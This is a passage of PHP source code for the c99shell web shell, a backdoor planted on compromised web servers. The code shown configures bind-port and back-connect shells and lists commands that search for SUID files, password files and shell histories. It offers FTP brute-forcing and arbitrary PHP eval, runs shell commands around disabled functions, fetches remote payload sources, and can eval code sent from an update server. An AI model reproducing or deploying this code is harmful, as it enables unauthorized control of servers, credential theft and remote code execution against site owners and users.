array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = true; //If true then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: + 0 - files and folders (as default), + 1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if true and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8; // lines in hex preview file +$hexdump_rows = 24; // 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = true; //Buffer-function +$copy_unset = false; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Tools</b>",$surl."act=tools&d=%d"), + array("<b>Proc.</b>",$surl."act=processes&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Update</b>",$surl."act=update&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/ Next code isn't for editing \/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return false;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return true; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return false;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + $ret = true; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return true; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return false;} + } + else {return false;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return false;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== false) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return false;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return false;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return false;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c99getsource")) +{ +function c99getsource($fn) +{ + global $c99sh_sourcesurl; + $array = array( + "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", + "c99sh_bindport.c" => "c99sh_bindport_c.txt", + "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", + "c99sh_backconn.c" => "c99sh_backconn_c.txt", + "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", + "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} + else {return false;} +} +} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate($update = true) +{ + $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return false;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = true;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = true;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by C99Shell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return false;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== false) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = false; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = false; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: 